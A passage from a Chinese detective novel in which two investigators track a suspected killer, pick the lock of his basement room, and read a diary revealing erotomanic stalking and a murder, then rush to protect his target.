小王给他递了个“你懂的”的眼神:“就是……我们平时会买些那种杂志或者小电影互相传阅,但他从不参与,好像对那方面一点兴趣都没有。”
“那他跟别人打架是怎么回事?”
“你说打架那件事啊。”小王眼神瞥向谢经理,等到应允后才继续回答:“当时我们对他也挺好奇的,所以跟他一个房间的老张就趁他值班时偷偷翻了他的衣柜,你猜猜看,他在里面找到了什么?”
说到关键处,怎么还吊人胃口呢?
祝好忙问:“什么?”
小王看了看祝好,欲言又止,欠身靠到程述耳边,用手虚掩着嘴说了几句话。
祝好的八卦之心燃烧到极致,谢经理亦是如此,两人不约而同凑上前想听个明白。
程述倒是没阻止谢经理,却斜了祝好一眼,伸出一只手抵在她的脑门上,把她挡在一臂之外。
祝好急得不行,只能竖起耳朵仔细听,奈何小王把声音压得太低,隔着不到一米的距离愣是什么也没听到。
小王说完那几句,又恢复了正常音量,清了清嗓,面上满是嫌弃:“你说一个正常男人怎么会有那种玩意儿?我们当时也是好奇,正围在一起研究呢,他突然就回来了。看到我们手里的东西,他脸色变得很难看,大声质问我们为什么要乱翻他的衣柜。”
祝好问:“他衣柜里有什么啊?”
小王抿了抿嘴,没回答,又接着道:“当时老张也挺难为情,主动跟他道了歉,我们都以为这事儿就这么过去了,结果他突然冲进厨房拿了把菜刀就要跟老张拼命,大伙儿一下子没反应过来,他一刀就砍到了老张胳膊上。”
“当时我们都吓坏了,赶紧把他拦住,幸好那把刀太久没用过,刀口都钝了,只留了一道血印子,不然老张那条胳膊估计得废。本来我们都打算报警了,不过老张觉得自己乱翻他东西有错在先,而且伤得也不重,就没再追究,跟他要了几百块钱就当私了了。”
原本郑文昊就不合群,从那件事之后,更是没人敢跟他搭话了,路上碰见都恨不得绕开走。
擅闯李砚川家也是在那之后不久发生的,那天晚上保安正巡逻,却看到有人鬼鬼祟祟从李砚川家出来。察觉到不对劲,连忙打开手电筒照过去,竟发现是郑文昊。
这件事上报给经理后,经理也派人把他全身上下仔细搜查了一遍,却没发现他带走什么值钱的东西,但他也死活不肯说出自己进业主家干什么去了。
经理斟酌再三,不想把事情闹大,便把他辞退了,同时叮嘱其他人就当这件事没发生过,谁也不许说出去。
祝好还惦记着郑文昊的衣柜里到底藏了什么,刚要开口追问,就瞥见小王的腰间别着一个长条形的黑色塑料管,比手机大不了多少。
她心念一动,忙问:“这个是什么?”
“这个啊?”小王取下那个塑料管,在她面前晃了晃:“这是物业给我们保安配的电击棒,能当手电筒用,遇到危险还能防身。”
程述接过电击棒拿在手上左右翻看,小王提醒他:“哎,你小心点,这个虽然电不死人,但也足够把人电晕了。”
“你们宿舍住了几个保安?”程述突然问。
话题转换得太快,小王愣了一下,还是老老实实回答:“三个,我、老谢还有另一个人。”
“你们当中是不是有人弄丢过电击棒?”程述想了想,又补充了一句:“就在郑文昊被辞退之后。”
小王闻言,眼珠子瞪得老大,满脸惊讶:“你怎么知道?”
第53章
从别墅区出来已经接近傍晚,车在晚高峰的车流中缓缓行驶了一段路后,停靠在路边。
见程述“咔嚓”解开安全带,祝好不明所以:“去哪儿?”
他打开车门,敲了敲手腕上的表:“吃饭。”
在一条巷子里七拐八拐片刻后,一家装修复古的港式茶餐厅出现在眼前。
程述领着祝好走进去,找了个角落的位置坐下,把桌上的菜单推到她面前:“想吃什么自己点。”
祝好有些迟疑:“你今天怎么那么大方?”
他答得漫不经心:“就当提前庆祝跑车到手吧。”
祝好眼睛一亮:“你能确定郑文昊就是凶手吗?”
“不能。”
不能还庆祝个啥啊。
吐槽归吐槽,有便宜还是要占的。
祝好招手叫来服务员,翻开菜单:“要一份牛腩乌冬面和一杯鸳鸯奶茶,老大,你点什么?”
“帮我要份乌冬面和一杯柠檬茶就行。”
祝好“唔”了一声:“那我再要一份西多士……”说着若无其事地用余光看了程述一眼,见他没什么反应,又接着道:“再加一个菠萝油和一份咖喱鱼蛋,先这样。”
服务员应了一声,转身进后厨下单去了。
程述无奈地白了祝好一眼:“还‘先这样’,点那么多你吃得完么?”
正值饭点,茶餐厅里人声鼎沸,十分热闹。隔壁桌有个四五岁的小男孩,手里拿着把玩具枪在走道上来回穿梭,对着店里用餐的客人“biubiubiu”地开枪。而他妈妈只顾着跟同桌的朋友聊天,完全没有要制止他的意思。
当小男孩第三次把枪口对准祝好时,祝好终于忍无可忍,一把揪住他的领子,低声恐吓道:“你再到处乱跑,我就让这个叔叔把你吃掉。”
小男孩下意识抬头看了面无表情的程述一眼,登时吓得脸色煞白,抱着玩具枪乖乖回到了隔壁桌坐下了 。
程述:“……”
菜很快上齐,祝好叉起一块沾满炼奶的西多士塞进嘴里,含糊不清道:“所以现在可以让秦警官把郑文昊带回去问话了吗?”
程述拆开一对筷子,反问道:“你有证据吗?”
祝好着急说话,就着奶茶艰难地吧嘴里的食物咽下去,拍了拍胸口顺气:“他偷溜进李砚川家,还偷走了保安的电击棒,这些还不是证据吗?”
“就算这些事都是他做的,有哪一件能直接证明人就是他杀的?”
祝好噎住了:“那我们需要什么样的证据?”
程述说:“至少先得确定陈志恒和孙菲菲遇害那两天晚上他的行踪,这样才能知道他是否与被害人有过交集,当然,能找到他杀人用的凶器就更好了。”
祝好若有所思,刚把手伸向咖喱鱼蛋,就被他用筷子敲了一下手背:“先吃主食。”
“怎么跟我爸似的。”她嘟囔着把手收回来,拆了筷子扒了乌冬面。有了西多士打底,面还没吃几口,就已经觉得饱了。
看着程述慢条斯理夹起一块叉烧,她突然想起什么:“对了,孙菲菲和李砚川在其争执的那天晚上,我好像在酒吧里看见过郑文昊。”
程述抬眼看她:“好像?”
祝好咬着筷尾,又仔细回忆了一下在剧情回顾里看到的那张侧脸:“嗯,好像。”
程述停下筷子,跟她对视:“记忆的形成是一个动态演化的过程,每当我们重新回想一次经历,或者遇到了相似的事件,就很容易和其他想法或记忆形成连接。记忆的准确性依赖于我们的回忆和重构,而大脑会依据需求,无意识地篡改一些记忆,你以为的‘看到’,说不定只是大脑通过逻辑运算补全的回忆而已。”
祝好懒得听他那长篇大论的分析,一脸认真地辩解:“不是脑补,我真的看到他了。”
程述嗤笑:“你刚刚说的还是‘好像’呢。除非你跟个监控似的能把那天晚上的记忆重新回放一遍,不然就别把话说得那么满。”
祝好撇了撇嘴,不说话了。她确实能,但剧情回顾只有她一个人能看到,说出来谁信呢?
喝了两口奶茶,她心念微动:“要不你给秦警官打个电话,让他查一下酒吧里的监控,再跟郑文昊的照片对比一下,不就知道他到底有没有去过酒吧了?”
这个提议终于得到了程述的认可,他想了想,放下筷子掏出手机,给秦聿风打去电话。
祝好慢悠悠用吸管搅着杯中的奶茶,趁着程述打电话的功夫,悄咪咪拿起筷子把吃不完的牛腩夹到他碗里。片刻后看他没什么反应,刚要把剩下的鱼蛋也夹过去,就被他眼角飞来的一记眼刀给截住了。
对她说了句“自己点的自己吃完”后,电话也刚好接通。
“喂,老秦?”
电话那头传来秦聿风带着些许不耐烦的声音:“干什么?”
“想让你帮我查个监控,找个人。”
“查什么监控,你看我像很闲的样子吗?我这边有个麻烦……”
话还没说完,就被一个尖锐的女声打断了:“你说谁是麻烦?都已经三天了,好不容易抓到个人,怎么又放走了?你们警察到底干什么吃的!!……”
听筒里传出的声音喧嚣又混乱,那一声声中气十足的怒吼在其中格外突出,程述忍不住皱着眉头,把手机拿远了些。
哪怕他没开免提,祝好还是一下子就认出那是陈少母亲的声音,下意识停下筷子凝神静听。
秦聿风叹了口气,听起来十分无奈:“女士,你冷静点。”
电话那头的怒骂还在继续:“……冷静,你让我怎么冷静?你还什么队长呢,纳税人的钱就是用来养你们这样的废物吗?你有空打电话,怎么没空去抓人?”
话刚落音,只听“啪”的一声,手机像是被狠狠摔在地上,紧接着倏然被挂断,只剩下一阵忙音。
程述看着手机屏幕,忍不住乐了。看来秦聿风不仅是遇到了麻烦,还是个超级大麻烦。
他低头在屏幕上点了几下,把郑文昊的资料发了过去,才把手机揣回兜里:“老秦现在自身难保,估计一时半会也没法查到什么,我们还是先想办法弄清楚郑文昊在哪儿吧。”
祝好咬着吸管,若有所思。物业公司的谢经理说过,郑文昊自从离职后就从宿舍搬了出去,手机也打不通,没人知道他去了哪儿。
没有了警方的帮助,祝好只能在模糊不清的记忆里搜索到底在哪里见过他,正思索着,突然有什么东西从天而降,“咚”一下砸进奶茶里,把她吓了一激灵。
定睛一看,原来是隔壁桌的大人到前台结账去了,那个调皮小男孩在座位上消停了没几分钟,又开始坐不住了,把沙拉里吃剩的小番茄抛着玩,好巧不巧,正好扔进了祝好的杯子。
见祝好咬牙切齿地捏紧拳头,小男孩脸色一变,转身追着母亲的背影跑去,却不小心跟忙着上菜的服务员撞了个正着,一屁股坐在地上,捂着脚踝哇哇大哭起来。
幸亏男孩的母亲虽然心大,但还算明事理,没把锅甩到服务员身上,只是赶紧蹲下身把小男孩从地上抱起来,招呼吓傻了的服务员去拿点冰块,并拍着小男孩裤子上的灰尘,安慰道:“不哭不哭,待会儿冰敷一下就好了。”
冰敷?
听到这个词,祝好心神一凛,脑海中迅速闪过一个画面:那天她拉着李砚川去酒吧对面的便利店买药时,售货员也曾经给过他一个冰袋。
那个售货员……是个二十三四岁的男孩子,身高跟祝好差不多,长着一张略显稚嫩的娃娃脸。
她猛地抓住程述的手腕:“老大,我知道郑文昊在哪里了!”
*
一场突如其来的大雨让本就处于下晚高峰期的市中心更加拥堵了,马路上汽车喇叭声和“你特么会不会开车”的叫骂声此起彼伏。
对着没打转向灯就试图变道的一辆奔驰竖了个中指后,程述把脑袋从车窗外收回来,拂掉头发上的雨水,转头问祝好:“你确定便利店那个售货员是郑文昊?”
祝好重重点头,刚才趁着堵车的功夫,她看过在便利店的剧情回顾,所以才会如此笃定。
难怪酒吧开业那天的剧情回顾无论重复几次,她都没有在人群中找到郑文昊——他那天根本不在酒吧里。
而郑文昊之所以知道李砚川被陈少揍了一拳,是因为祝好在便利店帮李砚川上药时,曾经聊起过这件事。
剧情回顾里,透过玻璃的反光,祝好看到郑文昊眼神一直往这边看,脸上还带着抑制不住的愤怒。
大雨加上晚高峰期,原本只要十分钟车程的路开了快一个小时。车刚在路边停稳,祝好就打开车门冒着雨急匆匆往走向便利店。透过玻璃往里张望,却不见郑文昊的身影。
犹豫片刻,她推开门走进去,收银台里只有一个四十岁左右的中年女人,正咄咄逼人地对上回见过的那个年轻小姑娘说着什么。
“……说了多少遍,如果客人用现金支付,用泡泡糖代替找零就行,还有这抹布一定得放好——”女人抬头看见程述和祝好,语气陡然转变得热情起来:“哎,欢迎光临,想要买点什么?”
祝好从冰柜里拿了两瓶水放在柜台上,趁着小姑娘扫码的当儿,掏出手机打开郑文昊的照片问道:“姐,我想问一下,这个人是不是在你们这儿工作?”
女人接过手机瞅了一眼:“这不是小郑吗?”
祝好跟程述对了个眼神,连忙点头:“对,他今天不上班吗?”
“他——”女人刚要回答,突然反应过来:“你们是谁?”
祝好用胳膊肘碰了下程述,用眼神向他发出了“快使用美男计”的指令。
程述无奈地斜了她一眼,转头嘴角就弯起了一个人畜无害的弧度:“姐,郑文昊是我们朋友,我最近突然联系不上他了,刚好知道他在你这里工作,就想着来问问。”
美男计果然奏效,女人瞥了他一眼,看他们有郑文昊的照片,又知道他的名字,也没再多问,回答道:“你们来晚了,他前几天刚被辞退。”
第54章
说到这个,女人就来气不打一处来。
不等祝好发问,她就“啪”一下把手里的抹布摔在柜台上,双手叉腰,怒目圆睁:“别说了,当时我看他人长得老实,腿脚又不方便,一时心软才同意让他来试工的。没想到来了没多久,有天晚上他私自把店给关了,不知去哪
里鬼混了几个小时,一直到天亮才回来。”
程述问:“是不是7月21号,也就是前天的事儿?”
女人回想片刻,愤愤地点头:“对,就是那天,我还是第二天看了监控才知道的。而且他还从店里顺走了一些东西,虽然不值几个钱吧,但这行为也算是盗窃了。要不是他认错态度还算诚恳,我早就报警抓他了。”
祝好心头突突直跳,忙问:“他顺走了什么东西?”
女人掰着手指数:“一卷垃圾袋,一件雨衣……哦对了,还有一把锤子,也不知道他到底干什么去了。”
程述眉心一皱:“什么样的锤子?”
女人想了想,从收银台下方钻出来,走到五金工具那块区域找了一会儿,拿出一把铁锤递给程述:“就是这种。”
程述接过铁锤,拿在手上掂了掂,问道:“您有郑文昊的联系方式吗?”
女人拍了下大腿:“嗐,我那天辞退他时一气之下把他号码给删了,不过我知道他住哪儿。”
祝好和程述对视一眼:“在哪儿?”
“就在我一个牌友家的地下室,那地儿还是我给他找的。他说他没地方住,我看他可怜,就跟那个牌友打了招呼,连押金都没跟他要,你说他这是不是那什么……农夫与蛇?真是气死我了!”
祝好打断了她的喋喋不休:“姐,可以把他的地址给我们么?您放心,等我找到他,一定把他骂一顿。”
“是该骂,你们跟这种人也少来往些,别被他带坏了。”
女人没有怀疑,边说边从收银台的笔记本上扯了一张纸,写下了一个地址。
*
从便利店出来时天已经全黑了,倾盆的大雨一直哗啦啦下个不停,地面上反射的路灯和霓虹灯被雨水敲成无数细碎的光斑。
好在晚高峰期已过,马路上也没那么拥堵了。程述按着女人给的地址,把车开到一片老式的居民区。
女人给的地址是一家玻璃厂的家属楼,房子十分老旧。由于交通不便,很多从前的住户都早已经搬走了,这里的房子要么就或卖或出租,要么住的就是些行动不便的老人。
根据女人的描述,租给郑文昊的房子是她牌友家的地下室,本来是用来放置杂物的,但前两年举家搬到新城区后,这里的房子就租给别人了,地下室也一直空置着。
楼道的灯年久失修,早已亮不起来了,不知哪儿还渗着水,嘀嘀嗒嗒打在地上。台阶上附着一层厚厚的污垢,踩上去还带了些黏性。
程述打开随身携带的小型手电筒自顾自走在前边,祝好扶着墙小心翼翼跟在他身后。来到地下室门前,程述示意她别动,把她挡在身后,轻轻敲了敲那扇破旧的木门。等待片刻,却无人应答。
他又把耳朵贴在门上凝神听了半晌,才说:“没动静。”
祝好低声问:“他是不是不在家?”
程述没回答,转身沿着楼梯来到居民楼前面,左右看了一会儿,挪开了几个沉重的花盆,露出了楼体上的半扇窗户。
之所以说是半扇,是因为地面比窗户高出一截,露在外面的那半扇似乎是地下室唯一的采光途径。
透过那半扇窗,能看到地下室里漆黑一片,程述半蹲在地上用手电筒往里照了照,里面果然空无一人。
祝好问:“现在怎么办?”
程述没回答,沉吟片刻,视线在她脸上打了个转,问道:“有发夹吗?”
祝好不明所以,但还是把别在头上的碎发夹拆下来递给他。
他把发夹掰成一字型,又找了块砖头压住一端用力一弯,发夹就成了个L型。接着又回到地下室门口,把手电筒递给祝好:“帮我打光。”
祝好警惕起来:“你要干什么?”
他蹲下身把发夹伸进锁眼里,答非所问:“还好这种门锁型号很老,运气好的话,一个发夹就能打开。”
祝好心说我问的是这个吗?
她“嘶”地吸了口凉气,做贼似的往周围看了一眼,用气声问道:“我们这样算不算是私闯民宅啊?”
程述中指和大拇指捻着发夹,专注地在锁眼里鼓捣,头也不抬地回了句:“算。”
祝好无语:那还说得那么理直气壮。
片刻后,“咔哒”一声轻响,门锁居然真的打开了。
程述把那个已经不能用的发夹还给祝好,又从口袋掏出一副手套递给她:“戴上,别乱翻东西。”
怪讲究的,都私闯民宅了,还不让人乱翻东西。
祝好边戴手套边小声嘀咕:“我们这样是不是犯法的呀?万一被抓了怎么办,要是我俩都进去了,谁给白眼狼喂饭?”
程述回头对她啧了一声:“别啰嗦,你到底进不进来?”
“进。”
程述轻轻推开木门,随着“吱呀”一声轻响,一股因常年不见阳光而形成的霉味立刻来势汹汹地扑面而来。
手电筒的光束能照到的范围有限,但已经足以把狭小的房间看得一清二楚。
这个房间甚至不能称为房间,大概只有五六平米,狭小且阴暗潮湿。墙上的白漆脱落了大半,露出半截灰色的水泥墙。
房间里东西不多,一张折叠的行军床、一个半开的行李箱就已经把逼仄的空间填得满满当当,几乎没有落脚的地方。
程述用脚踢开堆在地上的食品包装袋,拿着手电筒在房间里扫视一圈,又弯下身子照了照床底,随后便从里面拽出了一个黑色塑料袋。
他把手电筒递给祝好,小心翼翼地解开塑料袋上的结。
塑料袋里还套着个塑料袋,打开一看,里面是一件雨衣和一把铁锤,锤子上沾满干涸的血迹,还挂着一缕栗色的头发。
祝好心头无端一跳:“这是……凶器吗?”
程述刚“嗯”了一声,兜里的手机突然震动起来,声音很轻微,但在这安静得诡谲的空间里显得格外刺耳。
他摘下手套,接起电话,声音不自觉压得有些低沉:“喂,老秦。”
对比之下,电话那头秦聿风的声音略显咋呼:“靠,这新手机用不习惯。老程,我查过了,孙菲菲遇害那天晚上,那个叫郑文昊的人确实在酒吧里出现过,他跟孙菲菲几乎是前后脚离开的。”
程述说:“嗯,我在他家找到了凶器。定位发给你,你马上带人过来。”
秦聿风沉默片刻,骂道:“你特么的,我不是让你在家休息么,你怎么跑别人家去了?你怎么找到他家的?”
过了一会儿,又反应过来:“不对,你怎么找到这个人的?”
程述也没过多解释,只说了句“别废话,赶紧来”就挂断了电话,并给他发了个定位。
趁他发信息的当儿,祝好打着手电筒掀开行军床上的被褥和床单,发现床上有个鞋盒。
鞋盒里有一把伞,一本笔记本。笔记本十分精致,还散发着淡淡的香味。相较之下,与整个房间的环境显得很不协调。
程述接过手电筒照了照,说:“好像是个日记本,打开看看。”
翻看别人的日记不太好,哪怕对方很可能是个杀人犯。祝好在心里默念了一句“不好意思啊”,翻开了笔记本的第一页。
【6月13日大雨
今天下了好大的雨,我没带伞,只能像往常一样,一个人站在路边等雨停。这时一辆车慢慢开到我面前停下,你摁下车窗,递给我一把伞,让我早点回去,还嘱咐我注意安全。
你的笑容好像一缕阳光,驱散了天空中的阴霾。这是我们的第一次相遇,我会永远记住这一天。】
郑文昊的措辞很像小学
生写作文,字迹却十分工整,看得出他是抱着虔诚的态度一笔一画地记录下自己的心情。
【6月19日晴
昨天晚上我梦到你了,你的笑容一如既往的温暖。你拉着我的手,跟我说了很多话,那些话我到现在还记得。
醒来之后我怅然了很久,如果能一直活在梦里,该有多好。】
【6月22日晴
今天我又在小区里见到你了,阳光照在你身上,仿佛给你镀上一层圣光。
你就像一个王子,神圣不可侵犯,而我却只是一个小小的保洁员,灰头土脸,只能远远看着你。
本以为你永远也不会注意到我,可你竟然回头对我笑了一下。难道冥冥之中,真的有一条线把我们连在了一起吗?】
【6月30日
今天我鼓起勇气做了一件事,我去了你家,在你的浴缸里洗了个澡,躺在你的床上。枕头上残留着你的香味,让我舍不得离开。
我什么时候,能和你真正在一起?】
果然是本日记,而且似乎还是本恋爱日记。
其实祝好早就猜到了郑文昊应该喜欢同性,毕竟这么多年的BL漫画不是白看的,加上同宿舍的小王对他的描述以及他种种反常的行为,也能推测出日记里的那个“你”多半指的就是李砚川。
看来郑文昊确实不是第一次进李砚川家,只不过前几次侥幸没被抓到而已。
一想到有个陌生人曾在李砚川不知情的情况下溜进他家里,用他的浴缸洗澡,还睡了他的床,祝好就忍不住起一身鸡皮疙瘩。
看来一个人住那么大的房子,也不是太安全。
她低声问:“老大,郑文昊是不是暗恋李砚川啊?”
程述没回答,只说:“接着往下看。”
祝好哦了一声,带着偷窥别人隐私的愧疚感,把日记本往后翻了一页。
第55章
【7月2日阴
可恶!可恶!这群该死的人,他们凭什么凭什么乱翻我的东西,凭什么嘲笑我?跟别人不一样,是一件很可耻的事吗?
我恨他们!
这个世界对我的恶意太深了,只有每天晚上想着你,才能给我带来一丝慰藉。】
【7月5日小雨
今天午睡时我又梦到你了,在梦里,你不再那么遥不可及。我试着牵你的手,你也没有拒绝。
我鼓起勇气问你,你喜欢我吗?你给了我肯定的答案。
不敢相信,我们的心意竟是相通的!像你那么完美的人,竟然会属于我,我真的好开心。】
【7月9日晴
今天我早早就在我们的家里等你,酒吧即将开业,你每天都工作到凌晨才回来,一定很辛苦吧?
看着你熟睡的面容,我好想把你抱在怀里,摩挲你的发丝,亲吻你柔软的嘴唇。可我什么也没有做,只要能静静地看着你,我就已经心满意足了。
我发誓,不会让任何人伤害你。】
【7月8日阴
我想不明白,这明明就是我们的家,他们凭什么说我是擅自闯入?
不论我怎么解释他们都不愿相信我,还说要把我辞退。他们一定是嫉妒我,想拆散我们才这么说的,对吗?
不过你别担心,无论如何我都不会轻易离开你的,我一定会想办法留在你的身边。】
从7月5日的那个梦开始,日记的内容越来越不对劲,郑文昊似乎已经开始分不清什么是自己的幻想,什么是现实了,甚至不止一次潜进李砚川家里,趁他熟睡时在床边偷偷看着他。
一股恶寒从脚底顺着脊柱一层层往上爬,祝好头皮发麻,忍不住问程述:“老大,他到底是怎么回事啊?”
程述沉吟道:“我猜,郑文昊是患上了一种叫‘钟情妄想’的心理疾病。”
“钟情妄想?”祝好还是第一次听到这个词。
程述解释:“这是一种妄想类的精神疾病,即便没有任何依据,患者也会坚定地认为自己被某人深爱着,且不受客观事实的纠正。这种精神疾病如果不及时接受治疗,有可能会让患者采取更极端的方式。”
更极端的方式?祝好心一紧,赶紧把日记往后翻,之后的内容果然愈加令人毛骨悚然。
【7月13日晴
我有一个好消息要告诉你,我找到了一份新工作。从今天开始,我又能每天都跟你见面了。
虽然只能隔着一条马路远远看着你,但我的内心依旧被幸福填满。
我真的好爱你,你一定也一样吧?】
【7月20日晴
那个该死的官二代怎么可以这样对你!有权有势就可以为所欲为吗?看到你受伤,我的心都要碎了,可当着你的面,却不敢说出一句关心的话。
我说过不会让你受到任何伤害,所以我把他对你做的事情统统还了回去。
就在我完成这一切时,你出现了。我多想跟你分享这份喜悦,却发现你好像很害怕。没关系,我不会把这件事说出去的,这是我们之间的秘密。】
【7月21日晴
昨晚我们第一次一起回家,也是我第一次亲手为你插花,为你洗衣服。回想起来,我还是觉得好幸福,真希望时间能永远停留在那一刻。
离开之前,我从你口袋里带走了一只打火机作为定情信物,我想你应该不会怪我的,对吗?
对了,今天我被便利店辞退了,我现在又变回了一个一无所有的人。可是我一点也不后悔,因为一切都是为了你。】
这一天的日记分成了两段,显然是在一天中不同的时段写下的,因为下一段的内容陡然之间充满了愤怒。
【喜欢同性有错吗?那个垃圾女人,她凭什么这么骂我们?
我本来不想杀她的,只想让她跟你道个歉,可她却十分不屑,还说我们像垃圾一样肮脏下贱,像她这样的人活在世界上有什么意义?所以我把她杀死了,看着她在地上挣扎的样子,我的内心无比畅快。
她才是垃圾!垃圾!垃圾!垃圾!】
与前面工整的字迹相比,这一段写得十分潦草,最后那几个“垃圾”笔痕很重,几乎要把纸张穿透。
【7月22日大雨
我想了很久,还是决定把我的心意告诉你。本来今天我特地去剪了头发,还换上了新买的衣服,期待着今晚的见面,可是在家等了你一个晚上,你都一直没回来。
你去了哪里?】
【7月23日大雨
我听说你被警察带走了,可这些明明都是我做的,不是你!我也想过自首,但如果这样,我们就要永远分离了。
一想到这些,我的心就如同刀绞一般,好痛好痛。
我向上天许了个愿,希望我们能永远在一起,于是今天下了一场好大的雨,就像我们第一次见面时那样,这一定是老天在告诉我,我们注定一生一世永不分离。
等着我,我马上就去找你,我会等你回来,然后我们就能永远在一起了。】
最后一篇日记的日期正是今天。
祝好遍体生寒:能永远在一起的方法是什么?
该不会是……
窗外又淅淅沥沥下起了雨,她咬着微微发颤的后槽牙,从牙关里抽了口气,猛地转头看向程述,两人的目光不偏不倚撞在一起。
闪电乍起,划破天际,映得室内一片雪亮。
程述从她手里拿过日记本放回鞋盒里,果断朝着门口的方向一扬下巴:“走,去李砚川家。”
沉闷的雷声从头顶滚过,雨势越来越大,劈头盖脸打在车子的挡风玻璃上,丝毫
不给奋力工作的雨刷任何喘息的机会。
一路上祝好心急如焚,不停给李砚川打去电话,得到的回应无一例外是“您所拨打的用户暂时无法接听”的机械女声。
程述双眼紧紧盯着前方的路,几乎将油门踩到底,一手紧握方向盘,一手摁下秦聿风的号码。
没一会儿,电话就接通了。
“老秦,你在哪儿?”
秦聿风的声音在窗外漫天匝地的风雨声中显得有些飘忽:“我正赶去你给的那个地址,已经快到了。”
祝好连忙问:“李砚川呢?”
“傍晚已经从警局回去了,怎么了?”
程述几乎是吼出来:“你现在马上调个头去李砚川的别墅,郑文昊应该在那儿。他现在精神状况很不稳定,李砚川有危险!”
*
别墅区门口值班的保安恰好是早上刚见过面的小王,他撑着伞绕到车窗前,隔着雨帘眯着眼看了半天,才认出程述和祝好:“你们怎么又来了?”
程述没有解释,只说:“快让我们进去,里面出事了。”
小王不明所以,面露迟疑,刚把手伸向腰间的对讲机想要向其他巡逻的保安求证一下,就听到对讲机里传出声响:“东南门的铁栅栏怎么缺了一截?快来几个人看看?”
祝好解开安全带,越过程述趴在车窗上急吼吼地催促:“郑文昊偷偷进了小区,他现在情绪不稳定,很危险!如果里面的业主出了差池,你能负责吗?”
听到郑文昊的名字,小王显然吓了一跳,但还是拿不定主意,手放在大门的开关上犹豫不决:“那……”
程述打断他:“别废话,警察马上就到,你赶紧先开门!”
小王被他这不容置疑的一声吼吓得一愣,咬了咬牙,像下定了某种决心似的把门打开了。
报上李砚川家的门牌号后,程述撂下一句“赶紧让你们谢经理过来”,接着一脚踩下油门,车子冲破雨幕,在别墅区宽敞的道路上飞驰,风驰电掣开往李砚川家。
到了李砚川家附近,他才放慢车速,把车缓缓停在路边。
别墅的院子大门紧闭,越过围墙往里看去,整栋别墅一片漆黑,只有二楼的房间亮着昏暗的灯光。半透的窗帘上隐约映出个微微晃动的人影,从那瘦弱的身形上看并不是李砚川。
祝好惊得差点儿叫出声,郑文昊真的在屋里!可李砚川又在哪儿?
没一会儿,穿着雨衣的谢经理领着几个保安先匆匆赶来,没待细问,程述就先对他们做了个噤声的手势,让他先开门。
或许是小王在电话里头描述得太紧急,谢经理不敢迟疑,赶紧拿出备用钥匙打开了院门。
走进院子里,祝好下意识先往车库看了一眼,发现李砚川的跑车和SUV都好端端地停在里面,但是SUV车前有两道湿漉漉的轮胎印子,地面上留着些水渍,看起来是刚回来不久。
程述显然也发现了这一点,他问谢经理要了密码锁的密码,一番尝试后,却发现别墅的门早已从里面反锁了。
祝好心急如焚,低声问他:“现在怎么办?”
程述双眉紧紧拧在一起,低头看了下表:“来不及等老秦了,我们得想办法进去。”
“怎么进?”
他没说话,双手挡在额前遮住雨水,抬头往上看了一眼,发现书房的窗子还留着一道缝隙,立刻回身叮嘱谢经理去找个梯子。
不一会儿,两个保安就抬了个人字梯过来,这一番折腾动静不小,所幸密集的雷雨声淹没了大部分声响,窗边的人影只是微微移动了一下,似乎并未发觉窗外的异常。
雨势滂沱,程述浑身都被浇了个透,T恤湿漉漉地贴在身上,雨水不停顺着头发往下滴。
他示意保安把梯子架在书房下方,沿着梯子往上爬到窗前,小心翼翼地推了推书房的窗子,片刻后,又怏怏地从梯子上下来了。
祝好随手从车上储物箱拿的一把破伞几乎要被狂风骤雨撕碎,根本起不到任何遮风挡雨的作用,索性把伞给扔了。
看到程述下来,她连忙问:“怎么样?”
“窗子能开,但是只能推开一半。”程述烦躁地捋了把脸上的雨水,吁了口气:“我没办法进去。”
祝好仰头看了看,那扇窗本就不大,又只能推开一半,程述人高马大,确实没法挤进去。
她定了定神,深深吸了口气:“我可以进去。”
第56章
程述想也没想就拒绝:“不行,太危险了。”
祝好坚持:“你放心,我又不是去跟他干架的,我进去之后马上就给你开门。”
程述看了一眼毫无动静的手机,秦聿风还没赶到,目前也没有其他更好的办法。
他又抬头望着那个唯一透着光的房间,眼神有些闪烁,少见地犹豫了片刻,才低声叮嘱:“进去之后什么也别干,直接下楼给我开门,记住别弄出太大的动静,有事就往门外跑。”
祝好心说你当我是傻的啊,有事当然要跑了。虽然郑文昊身材瘦弱还患有小儿麻痹症,但性别不同体力也有悬殊,况且还不知道他手上会不会有凶器,自己当然不会选择去正面硬刚。
她潦草地点点头,掏出一根橡皮筋把湿漉漉的头发扎起来,双手紧紧抓住梯子边缘,一只脚踩上梯子,刚要往上爬,程述突然又叫住她。
“你——”他垂下眼帘,捂着嘴干咳一声,顿了顿才道:“你没有编制,万一领盒饭了可不能算是因公殉职,拿不到赔偿的。”
他的声音压得很低,还带着些刻意表现出来的漫不经心。
祝好觉得好笑,这人怎么那么不坦率呢,想让她注意安全直说不就好了,非得绕那么大的圈子。
但眼下情况太紧急,她实在没心情跟他开玩笑,嗯了一声就要往上爬。没想到程述再一次叫住她,递给她一只小型手电筒,想了想,又不知从哪儿掏出一把弹簧刀塞到她口袋里,强调说:“记住,直接去开门,其他的什么也别做,我在门口等你。”
祝好愣了一下,一时没想明白他为什么突然变得那么婆婆妈妈的,同一句话重复了那么多遍,但还是对他说了句:“知道了,我会小心的。”
书房的窗子只能推开半人宽的缝,祝好沿着梯子爬到窗台上,紧紧抓着窗沿,先伸出一条腿往下探了探,确认能踩到地面后,才小心翼翼地侧身从半开的窗子往里挪动。
双脚都踩实后,她探头到窗外,对楼下的程述比了个OK的手势,才回身往周围看了一眼。
书房里一片漆黑,只有门缝底下透着些许淡淡的光亮。
祝好的心脏砰砰直跳,紧张得有些喘不上气。有那么一瞬间,她觉得自己仿佛回到了差点被许安宁杀死的那个夜晚。
手心里湿漉漉的,不知是汗还是雨水,她差点儿连手电筒的开光都推不上去,只能默念了一声抱歉后,用书房摸起来质感很高级的窗帘擦了擦手上的水渍。
随着手电筒的光束亮起,她紧绷的心情才稍稍放松了些,深吸一口气,定了定神,缓步往门口靠近。
幸亏书房里铺了一层厚厚的地毯,踩在上面几乎听不到脚步声,但帆布鞋里进了水,走起路来发出“吱吱”的声响,她索性脱下被雨水浸湿的鞋子和袜子,光着脚走向门口,轻轻拧动门把手,把门推开了一条缝。
书房隔壁就是李砚川的卧室,卧室门没有完全锁紧,还留了一道半人宽的缝隙,隐约能听到里面传来断断续续的说话声,像是某人在自言自语。
“……亲爱的,别担心,我们马上就能永远在一起了。”
祝好犹豫了一下,还是忍不住往房间里望了一眼。角度有些刁钻,她先是看到了地上铺满玫瑰花瓣,周围还摆着一圈燃着的大红蜡烛。烛焰摇曳,映得墙上的人影也跟着微微晃漾。
她屏住呼吸,缓缓挪动身子,换了个角度。
